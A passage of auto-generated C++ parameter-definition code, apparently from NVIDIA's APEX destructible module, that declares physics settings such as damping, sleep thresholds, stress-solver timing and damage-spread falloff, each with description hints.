HintTable[0].init("longDescription", "Sets the mass-normalized kinetic energy threshold below which an actor may go to sleep.\n This will be applied to all actors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Sets the mass-normalized kinetic energy threshold below which an actor may go to sleep.", true);
ParamDefTable[198].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=199, longName="p3BodyDescTemplate.wakeUpCounter"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[199];
ParamDef->init("wakeUpCounter", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The bodys initial wake up counter.\n This will be applied to all actors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "The bodys initial wake up counter", true);
ParamDefTable[199].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=200, longName="p3BodyDescTemplate.linearDamping"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[200];
ParamDef->init("linearDamping", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Linear damping applied to the body.\n This will be applied to all actors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Linear damping applied to the body", true);
ParamDefTable[200].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=201, longName="p3BodyDescTemplate.angularDamping"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[201];
ParamDef->init("angularDamping", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Sets the angular damping coefficient.\n This will be applied to all actors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Sets the angular damping coefficient", true);
ParamDefTable[201].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=202, longName="p3BodyDescTemplate.maxAngularVelocity"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[202];
ParamDef->init("maxAngularVelocity", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Maximum allowed angular velocity.\n This will be applied to all actors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Maximum allowed angular velocity", true);
ParamDefTable[202].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=203, longName="p3BodyDescTemplate.solverIterationCount"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[203];
ParamDef->init("solverIterationCount", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Sets the solver iteration counts for the body.\nThe solver iteration count determines how accurately joints and contacts are resolved. If you are having trouble with jointed bodies oscillating and behaving erratically, then setting a higher position iteration count may improve their stability.\nIf intersecting bodies are being depenetrated too violently, increase the number of velocity iterations.", true);
HintTable[1].init("shortDescription", "Sets the solver iteration counts for the body", true);
ParamDefTable[203].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=204, longName="p3BodyDescTemplate.contactReportThreshold"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[204];
ParamDef->init("contactReportThreshold", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The force threshold for contact reports.\n This will be applied to all actors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "The force threshold for contact reports", true);
ParamDefTable[204].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=205, longName="p3BodyDescTemplate.sleepLinearVelocity"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[205];
ParamDef->init("sleepLinearVelocity", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Maximum linear velocity at which body can go to sleep.\n This will be applied to all actors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Maximum linear velocity at which body can go to sleep", true);
ParamDefTable[205].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=206, longName="structureSettings"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[206];
ParamDef->init("structureSettings", TYPE_STRUCT, "StructureSettings", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("editorDisplay", "false", true);
ParamDefTable[206].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#else
static HintImpl HintTable[3];
static Hint* HintPtrTable[3] = { &HintTable[0], &HintTable[1], &HintTable[2], };
HintTable[0].init("editorDisplay", "false", true);
HintTable[1].init("longDescription", "Contains parameters that affect structure-wide settings.", true);
HintTable[2].init("shortDescription", "Contains parameters that affect structure-wide settings", true);
ParamDefTable[206].setHints((const NvParameterized::Hint**)HintPtrTable, 3);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=207, longName="structureSettings.useStressSolver"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[207];
ParamDef->init("useStressSolver", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Determines whether to invoke the use of the stress solver. The stress solver is a self-checking mechanism\nemployed within the structure, with the purpose of detecting and breaking off overly-strained links to masses\nof chunks. Its behavior can be tweaked by customizing the parameters stressSolverTimeDelay and stressSolverMassThreshold.\n", true);
HintTable[1].init("shortDescription", "If true, the structure containing this actor will use the stress solver.", true);
ParamDefTable[207].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=208, longName="structureSettings.stressSolverTimeDelay"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[208];
ParamDef->init("stressSolverTimeDelay", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Determines the amount of time to run down until an identified overly-strained link breaks. From the time the stress\nsolver qualifies a link as being overly-strained, this value will be used to count down to the actual breaking-off\nevent being executed. This should always be some positive value.\n", true);
HintTable[1].init("shortDescription", "The structure containing this actor will use the minimum stressSolverTimeDelay of all actors in the structure.", true);
ParamDefTable[208].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=209, longName="structureSettings.stressSolverMassThreshold"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[209];
ParamDef->init("stressSolverMassThreshold", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Determines the minimum threshold mass to meet before an indentified overly-strained link breaks. This mass threshold\nis part of the condition that the stress solver uses to qualify whether a link is overly-strained. The accumulated sum\nof the chunk masses that the link is supporting will be used against this value. This should always be some positive value.\n", true);
HintTable[1].init("shortDescription", "The structure containing this actor will use the minimum stressSolverMassThreshold of all actors in the structure.", true);
ParamDefTable[209].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=210, longName="defaultBehaviorGroup"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[210];
ParamDef->init("defaultBehaviorGroup", TYPE_STRUCT, "BehaviorGroup", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The default behavior group referenced by chunks. Each chunk references a behavior group for chunk-specific reactions.", true);
HintTable[1].init("shortDescription", "The default behavior group referenced by chunks", true);
ParamDefTable[210].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=211, longName="defaultBehaviorGroup.name"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[211];
ParamDef->init("name", TYPE_STRING, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Name of behavior group, eg Concrete or Glass.", true);
HintTable[1].init("shortDescription", "Name of behavior group", true);
ParamDefTable[211].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=212, longName="defaultBehaviorGroup.damageThreshold"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[212];
ParamDef->init("damageThreshold", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The damage amount which will cause a chunk to fracture (break free) from the destructible.\n This is obtained from the damage value passed into the NxDestructibleActor::applyDamage,\n or NxDestructibleActor::applyRadiusDamage, or via impact (see 'forceToDamage', below).", true);
HintTable[1].init("shortDescription", "The damage amount which will cause a chunk to fracture (break free) from the destructible.", true);
ParamDefTable[212].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=213, longName="defaultBehaviorGroup.damageToRadius"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[213];
ParamDef->init("damageToRadius", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Controls the distance into the destructible to propagate damage. The damage applied to the chunk\n is multiplied by damageToRadius, to get the propagation distance. All chunks within the radius\n will have damage applied to them. The damage applied to each chunk varies with distance to the damage\n application position. Full damage is taken at zero distance, and zero damage at the damage radius.\n NOTE: This parameter is deprecated for point and radius damage. It will be used for those types of damage if legacy damage\n behavior is enabled with NxModuleDestructible::setUseLegacyDamageRadiusSpread. Otherwise, the new parameters\n damageSpread.minimumRadius, damageSpread.radiusMultiplier, and damageSpread.falloffExponent are used. For impact damage, this parameter\n will continue to be used, however the radius will no longer scale with object size. The radius will continue\n to scale with the damage as a fraction of damageThreshold, however. If legacy damage behavior is used, this parameter\n will behave as before with respect to impact damage as well (scaling with object size).", true);
HintTable[1].init("shortDescription", "Controls the distance into the destructible to propagate damage.", true);
ParamDefTable[213].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=214, longName="defaultBehaviorGroup.damageSpread"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[214];
ParamDef->init("damageSpread", TYPE_STRUCT, "DamageSpreadFunction", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Describes the radius and damage envelope function for damage applied to the destructible.", true);
HintTable[1].init("shortDescription", "Describes the radius and damage envelope function for damage applied to the destructible.", true);
ParamDefTable[214].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=215, longName="defaultBehaviorGroup.damageSpread.minimumRadius"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[215];
ParamDef->init("minimumRadius", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The minimum radius of damage spread when damage is applied. The formula for the damage radius is\n radius = minimumRadius + (input radius) * radiusMultiplier.", true);
HintTable[1].init("shortDescription", "The minimum radius of damage spread when damage is applied.", true);
ParamDefTable[215].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=216, longName="defaultBehaviorGroup.damageSpread.radiusMultiplier"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[216];
ParamDef->init("radiusMultiplier", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "A scale to apply to the input damage radius when damage is applied. The formula for the damage radius is\n radius = minimumRadius + (input radius) * radiusMultiplier.", true);
HintTable[1].init("shortDescription", "A scale to apply to the input damage radius when damage is applied.", true);
ParamDefTable[216].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=217, longName="defaultBehaviorGroup.damageSpread.falloffExponent"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[217];
ParamDef->init("falloffExponent", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "How damage varies between the minimum radius and the calculated damage radius. The formula for the damage radius is\n radius = minimumRadius + (input radius) * radiusMultiplier.\n Within the minimumRadius, the full damage is applied to chunks. Past the minimumRadius, the formla for damage is:\n damage = (input damage) * ((radius - distance)/(radius - minimumRadius))^falloffExponent.\n Note: falloffExponent = 0.0 gives no falloff, so that damage = (input damage) over the entire range [0, radius).\n falloffExponent = 1.0 gives linear falloff.", true);
HintTable[1].init("shortDescription", "How damage varies between the minimum radius and the calculated damage radius.", true);
ParamDefTable[217].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=218, longName="defaultBehaviorGroup.damageColorSpread"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[218];
ParamDef->init("damageColorSpread", TYPE_STRUCT, "DamageSpreadFunction", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Describes the radius and damage envelope function for color channel damage modification applied to the destructible.", true);
HintTable[1].init("shortDescription", "Describes the radius and damage envelope function for color channel damage modification applied to the destructible.", true);
ParamDefTable[218].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=219, longName="defaultBehaviorGroup.damageColorSpread.minimumRadius"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[219];
ParamDef->init("minimumRadius", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The minimum radius of damage spread when damage is applied. The formula for the damage radius is\n radius = minimumRadius + (input radius) * radiusMultiplier.", true);
HintTable[1].init("shortDescription", "The minimum radius of damage spread when damage is applied.", true);
ParamDefTable[219].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=220, longName="defaultBehaviorGroup.damageColorSpread.radiusMultiplier"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[220];
ParamDef->init("radiusMultiplier", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "A scale to apply to the input damage radius when damage is applied. The formula for the damage radius is\n radius = minimumRadius + (input radius) * radiusMultiplier.", true);
HintTable[1].init("shortDescription", "A scale to apply to the input damage radius when damage is applied.", true);
ParamDefTable[220].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=221, longName="defaultBehaviorGroup.damageColorSpread.falloffExponent"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[221];
ParamDef->init("falloffExponent", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "How damage varies between the minimum radius and the calculated damage radius. The formula for the damage radius is\n radius = minimumRadius + (input radius) * radiusMultiplier.\n Within the minimumRadius, the full damage is applied to chunks. Past the minimumRadius, the formla for damage is:\n damage = (input damage) * ((radius - distance)/(radius - minimumRadius))^falloffExponent.\n Note: falloffExponent = 0.0 gives no falloff, so that damage = (input damage) over the entire range [0, radius).\n falloffExponent = 1.0 gives linear falloff.", true);
HintTable[1].init("shortDescription", "How damage varies between the minimum radius and the calculated damage radius.", true);
ParamDefTable[221].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=222, longName="defaultBehaviorGroup.damageColorChange"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[222];
ParamDef->init("damageColorChange", TYPE_VEC4, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Describes how damage changes the color of vertices in the render mesh. If this vector is non-zero, then a dynamic\n (per-actor) color channel will be created and initialized to the asset's color channel, if it exists. Damage taken will go through\n the spread and envelope function described by damageColorSpread, and each color will be modified by the resulting damage, scaled\n by the values in damageColorChange. The change to color channel C is given by\n color[C] = clamp(color[C] + damageColorChange[C]*255*min(1.0, damage/damageThreshold), 0, 255).", true);
HintTable[1].init("shortDescription", "Describes how damage changes the color of vertices in the render mesh.", true);
ParamDefTable[222].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=223, longName="defaultBehaviorGroup.materialStrength"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[223];
ParamDef->init("materialStrength", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "When a chunk takes impact damage due to physical contact (see see NxDestructibleDepthParameters), this parameter\n is the maximum impulse the contact can generate. Weak materials such as glass may have this set to a low value, so that\n heavier objects will pass through them during fracture.\n N.B.: Setting this parameter to 0 disables the impulse cap; that is, zero is interpreted as infinite.\n Default value = 0.0f.", true);
HintTable[1].init("shortDescription", "When a chunk takes impact, this is the maximum impulse the contact can generate.", true);
ParamDefTable[223].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=224, longName="defaultBehaviorGroup.density"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[224];
ParamDef->init("density", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Chunk density. (TODO: better description)", true);
HintTable[1].init("shortDescription", "Chunk density", true);
ParamDefTable[224].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=225, longName="defaultBehaviorGroup.fadeOut"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[225];
ParamDef->init("fadeOut", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Chunk fade out. (TODO: better description)", true);
HintTable[1].init("shortDescription", "Chunk fade out", true);
ParamDefTable[225].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=226, longName="defaultBehaviorGroup.groupsMask"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[226];
ParamDef->init("groupsMask", TYPE_STRUCT, "GroupsMask", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Optional groups mask for dynamic chunks created when fractured.", true);
HintTable[1].init("shortDescription", "Optional groups mask for dynamic chunks created when fractured", true);
ParamDefTable[226].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=227, longName="defaultBehaviorGroup.groupsMask.useGroupsMask"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[227];
ParamDef->init("useGroupsMask", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Whether or not the groupsMask should be used. If so, then this will be applied to all NxShapes\n created to represent this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Whether or not the groupsMask should be used", true);
ParamDefTable[227].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=228, longName="defaultBehaviorGroup.groupsMask.bits0"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[228];
ParamDef->init("bits0", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If useGroupsMask is true, this is bits0 of the groups mask. See the PhysX documentation for more on groups masks.", true);
HintTable[1].init("shortDescription", "bits0 of the groups mask", true);
ParamDefTable[228].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=229, longName="defaultBehaviorGroup.groupsMask.bits1"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[229];
ParamDef->init("bits1", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If useGroupsMask is true, this is bits1 of the groups mask. See the PhysX documentation for more on groups masks.", true);
HintTable[1].init("shortDescription", "bits1 of the groups mask", true);
ParamDefTable[229].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=230, longName="defaultBehaviorGroup.groupsMask.bits2"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[230];
ParamDef->init("bits2", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If useGroupsMask is true, this is bits2 of the groups mask. See the PhysX documentation for more on groups masks.", true);
HintTable[1].init("shortDescription", "bits2 of the groups mask", true);
ParamDefTable[230].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=231, longName="defaultBehaviorGroup.groupsMask.bits3"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[231];
ParamDef->init("bits3", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If useGroupsMask is true, this is bits3 of the groups mask. See the PhysX documentation for more on groups masks.", true);
HintTable[1].init("shortDescription", "bits3 of the groups mask", true);
ParamDefTable[231].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=232, longName="behaviorGroups"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[232];
ParamDef->init("behaviorGroups", TYPE_ARRAY, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The array of behavior groups referenced by chunks. Each chunk references a behavior group for chunk-specific reactions.", true);
HintTable[1].init("shortDescription", "The array of behavior groups referenced by chunks", true);
ParamDefTable[232].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
ParamDef->setArraySize(-1);
static const uint8_t dynHandleIndices[2] = { 1, 0, };
ParamDef->setDynamicHandleIndicesMap(dynHandleIndices, 2);
}
// Initialize DefinitionImpl node: nodeIndex=233, longName="behaviorGroups[]"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[233];
ParamDef->init("behaviorGroups", TYPE_STRUCT, "BehaviorGroup", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The array of behavior groups referenced by chunks. Each chunk references a behavior group for chunk-specific reactions.", true);
HintTable[1].init("shortDescription", "The array of behavior groups referenced by chunks", true);
ParamDefTable[233].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=234, longName="behaviorGroups[].name"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[234];
ParamDef->init("name", TYPE_STRING, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Name of behavior group, eg Concrete or Glass.", true);
HintTable[1].init("shortDescription", "Name of behavior group", true);
ParamDefTable[234].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=235, longName="behaviorGroups[].damageThreshold"
{
